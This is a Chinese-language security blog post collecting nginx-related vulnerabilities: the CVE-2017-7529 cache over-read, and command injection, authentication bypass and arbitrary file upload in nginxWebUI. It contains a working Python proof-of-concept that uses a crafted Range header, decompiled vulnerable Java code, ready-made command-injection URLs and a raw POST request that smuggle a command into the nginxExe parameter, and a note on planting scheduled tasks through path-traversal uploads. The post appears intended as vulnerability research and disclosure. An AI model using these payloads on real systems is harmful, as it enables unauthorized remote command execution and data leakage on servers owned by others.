nginx漏洞合集

月影
2023-06-26 / 0 评论 / 32 阅读 / 正在检测是否收录...

Nginx越界读取缓存漏洞 CVE-2017-7529

漏洞描述

Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。

如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

影响版本

Nginx version 0.5.6 - 1.13.2

环境搭建

git clone https://github.com/vulhub/vulhub.git
cd vulhub/nginx/CVE-2017-7529
docker-compose up -d

访问http://xxx.xxx.xxx.xxx:8080 正常即可
2023-06-26T08:10:20.png

漏洞复现

使用POC进行验证

python poc.py http://xxx.xxx.xxx.xxx:8080/

2023-06-26T08:11:28.png

漏洞POC

#!/usr/bin/env python
import sys
import requests

if len(sys.argv) < 2:
    print("%s url" % (sys.argv[0]))
    print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
    sys.exit()

headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
    n, 0x8000000000000000 - n)

r = requests.get(url, headers=headers)

在野0day nginxWebUI 远程代码执行漏洞

漏洞描述
nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。 nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。

影响版本
nginxWebUI < 3.5.2 未授权命令执行漏洞(网上公开为3.5.0 但下载后发现作者已删除GITEE中3.5.0的相应代码,下载3.5.0版本jar包反编译后发现并没有对权限绕过进行修复) nginxWebUI 全版本均存在命令执行漏洞(文章截止最新版3.6.0)

漏洞详情
NginxWebUi 任意命令执行漏洞(一)中分析了com.cym.controller.adminPage.ConfController#runCmd()存在命令拼接导致任意命令执行漏洞,今天继续分析其余漏洞利用点

命令执行点1

com.cym.controller.adminPage.ConfController#reload()方法

@Controller
@Mapping("/adminPage/conf")
public class ConfController extends BaseController {

    @Mapping(value = "reload")
    public synchronized JsonResult reload(String nginxPath, String nginxExe, String nginxDir) {

        //String nginxPath, String nginxExe, String nginxDir 为空则获取系统配置
        if (nginxPath == null) {
            nginxPath = settingService.get("nginxPath");
        }
        if (nginxExe == null) {
            nginxExe = settingService.get("nginxExe");
        }
        if (nginxDir == null) {
            nginxDir = settingService.get("nginxDir");
        }

        try {
            //命令拼接
            String cmd = nginxExe + " -s reload -c " + nginxPath;
            if (StrUtil.isNotEmpty(nginxDir)) {
                //命令拼接
                cmd += " -p " + nginxDir;
            }
            String rs = RuntimeUtil.execForStr(cmd);

            cmd = "<span class='blue'>" + cmd + "</span>";
            if (StrUtil.isEmpty(rs) || rs.contains("signal process started")) {
                return renderSuccess(cmd + "<br>" + m.get("confStr.reloadSuccess") + "<br>" + rs.replace("\n", "<br>"));
            } else {
                if (rs.contains("The system cannot find the file specified") || rs.contains("nginx.pid") || rs.contains("PID")) {
                    rs = rs + m.get("confStr.mayNotRun");
                }

                return renderSuccess(cmd + "<br>" + m.get("confStr.reloadFail") + "<br>" + rs.replace("\n", "<br>"));
            }
        } catch (Exception e) {
            logger.error(e.getMessage(), e);
            return renderSuccess(m.get("confStr.reloadFail") + "<br>" + e.getMessage().replace("\n", "<br>"));
        }
    }
}

payload

http://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C

命令执行点2

com.cym.controller.adminPage.ConfController#check()方法

@Controller
@Mapping("/adminPage/conf")
public class ConfController extends BaseController {

    @Mapping(value = "check")
    public JsonResult check(String nginxPath, String nginxExe, String nginxDir, String json) {
        if (nginxExe == null) {
            nginxExe = settingService.get("nginxExe");
        }
        if (nginxDir == null) {
            nginxDir = settingService.get("nginxDir");
        }

        JSONObject jsonObject = JSONUtil.parseObj(json);
        // json 中 nginxContent 不为空
        String nginxContent = Base64.decodeStr(jsonObject.getStr("nginxContent"), CharsetUtil.CHARSET_UTF_8);
        nginxContent = URLDecoder.decode(nginxContent, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~");

        //json 中 subContent 不为空 且为List
        List<String> subContent = jsonObject.getJSONArray("subContent").toList(String.class);
        for (int i = 0; i < subContent.size(); i++) {
            String content = Base64.decodeStr(subContent.get(i), CharsetUtil.CHARSET_UTF_8);
            content = URLDecoder.decode(content, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~");
            subContent.set(i, content);
        }

        // 替换分解域名include路径中的目标conf.d为temp/conf.d
        //nginxPath 不为空且可访问
        String confDir = ToolUtils.handlePath(new File(nginxPath).getParent()) + "/conf.d/";
        String tempDir = homeConfig.home + "temp" + "/conf.d/";
        //json 中 subName 不为空 且为List
        List<String> subName = jsonObject.getJSONArray("subName").toList(String.class);
        for (String sn : subName) {
            nginxContent = nginxContent.replace("include " + confDir + sn, //
                    "include " + tempDir + sn);
        }

        FileUtil.del(homeConfig.home + "temp");
        String fileTemp = homeConfig.home + "temp/nginx.conf";

        confService.replace(fileTemp, nginxContent, subContent, subName, false, null);

        String rs = null;
        String cmd = null;

        try {
            ClassPathResource resource = new ClassPathResource("mime.types");
            FileUtil.writeFromStream(resource.getStream(), homeConfig.home + "temp/mime.types");

            //
            cmd = nginxExe + " -t -c " + fileTemp;
            if (StrUtil.isNotEmpty(nginxDir)) {
                cmd += " -p " + nginxDir;
            }
            rs = RuntimeUtil.execForStr(cmd);
        } catch (Exception e) {
            logger.error(e.getMessage(), e);
            rs = e.getMessage().replace("\n", "<br>");
        }

        cmd = "<span class='blue'>" + cmd + "</span>";
        if (rs.contains("successful")) {
            return renderSuccess(cmd + "<br>" + m.get("confStr.verifySuccess") + "<br>" + rs.replace("\n", "<br>"));
        } else {
            return renderSuccess(cmd + "<br>" + m.get("confStr.verifyFail") + "<br>" + rs.replace("\n", "<br>"));
        }

    }
}

payload

POST /AdminPage/conf/check HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 151
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SOLONID=1788f71299dc4608a355ff347bf429fa
Connection: close

nginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers

命令执行点3

com.cym.controller.adminPage.ConfController#checkBase()方法,此方法从设置中获nginxExe nginxDir两个属性后拼接到命令在造成命令执行漏洞

@Mapping(value = "checkBase")
public JsonResult checkBase() {
    //从设置中获取  nginxExe  nginxDir
    String nginxExe = settingService.get("nginxExe");
    String nginxDir = settingService.get("nginxDir");

    String rs = null;
    String cmd = null;

    FileUtil.del(homeConfig.home + "temp");
    String fileTemp = homeConfig.home + "temp/nginx.conf";

    try {
        ConfExt confExt = confService.buildConf(false, true);
        FileUtil.writeString(confExt.getConf(), fileTemp, CharsetUtil.CHARSET_UTF_8);

        ClassPathResource resource = new ClassPathResource("mime.types");
        FileUtil.writeFromStream(resource.getStream(), homeConfig.home + "temp/mime.types");

        //命令拼接
        cmd = nginxExe + " -t -c " + fileTemp;
        if (StrUtil.isNotEmpty(nginxDir)) {
            cmd += " -p " + nginxDir;
        }
        //命令执行
        rs = RuntimeUtil.execForStr(cmd);
    } catch (Exception e) {
        logger.error(e.getMessage(), e);
        rs = e.getMessage().replace("\n", "<br>");
    }

    cmd = "<span class='blue'>" + cmd + "</span>";
    if (rs.contains("successful")) {
        return renderSuccess(cmd + "<br>" + m.get("confStr.verifySuccess") + "<br>" + rs.replace("\n", "<br>"));
    } else {
        return renderError(cmd + "<br>" + m.get("confStr.verifyFail") + "<br>" + rs.replace("\n", "<br>"));
    }

}

com.cym.controller.adminPage.ConfController#saveCmd()方法可设置以上属性

@Mapping(value = "saveCmd")
public JsonResult saveCmd(String nginxPath, String nginxExe, String nginxDir) {
    nginxPath = ToolUtils.handlePath(nginxPath);
    settingService.set("nginxPath", nginxPath);

    nginxExe = ToolUtils.handlePath(nginxExe);
    settingService.set("nginxExe", nginxExe);

    nginxDir = ToolUtils.handlePath(nginxDir);
    settingService.set("nginxDir", nginxDir);

    return renderSuccess();
}

payload

//第一步设置属性
http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a
//第二步执行命令
http://localhost:8080/AdminPage/conf/checkBase

任意文件上传1

com/cym/controller/adminPage/MainController.java


    @Mapping("/adminPage/main/upload")
    public JsonResult upload(Context context, UploadedFile file) {
        try {
            File temp = new File(FileUtil.getTmpDir() + "/" + file.getName());
            file.transferTo(temp);

//            // 移动文件
//            File dest = new File(homeConfig.home + "cert/" + file.name);
//            while(FileUtil.exist(dest)) {
//                dest = new File(dest.getPath() + "_1");
//            }
//            FileUtil.move(temp, dest, true);

//            String localType = (String) context.session("localType");
//            if ("remote".equals(localType)) {
//                Remote remote = (Remote) context.session("remote");
//
//                HashMap<String, Object> paramMap = new HashMap<>();
//                paramMap.put("file", temp);
//
//                String rs = HttpUtil.post(remote.getProtocol() + "://" + remote.getIp() + ":" + remote.getPort() + "/upload", paramMap);
//                JsonResult jsonResult = JSONUtil.toBean(rs, JsonResult.class);
//                FileUtil.del(temp);
//                return jsonResult;
//            }

            return renderSuccess(temp.getPath().replace("\\", "/"));
        } catch (IllegalStateException | IOException e) {
            logger.error(e.getMessage(), e);
        }

        return renderError();
    }

可通过../ 控制文件上传路径,上传计划任务

任意文件上传2

com/cym/controller/adminPage/ServerController.java


    @Mapping("upload")
    public JsonResult upload(Context context, UploadedFile file) {
        try {
            File temp = new File(FileUtil.getTmpDir() + "/" + file.getName());
            file.transferTo(temp);

            // 移动文件
            File dest = new File(homeConfig.home + "cert/" + file.getName());
            while(FileUtil.exist(dest)) {
                dest = new File(dest.getPath() + "_1");
            }
            FileUtil.move(temp, dest, true);

            String localType = (String) context.session("localType");
            if ("remote".equals(localType)) {
                Remote remote = (Remote) context.session("remote");

                HashMap<String, Object> paramMap = new HashMap<>();
                paramMap.put("file", temp);

                String rs = HttpUtil.post(remote.getProtocol() + "://" + remote.getIp() + ":" + remote.getPort() + "/upload", paramMap);
                JsonResult jsonResult = JSONUtil.toBean(rs, JsonResult.class);
                FileUtil.del(temp);
                return jsonResult;
            }

            return renderSuccess(dest.getPath().replace("\\", "/"));
        } catch (IllegalStateException | IOException e) {
            logger.error(e.getMessage(), e);
        }

        return renderError();
    }

可通过../ 控制文件上传路径,上传计划任务

注:

以上漏洞点3.5.2以下均可通过大小写进行权限绕过,3.5.2以上均需登陆后才可进行漏洞利用

0

评论 (0)

取消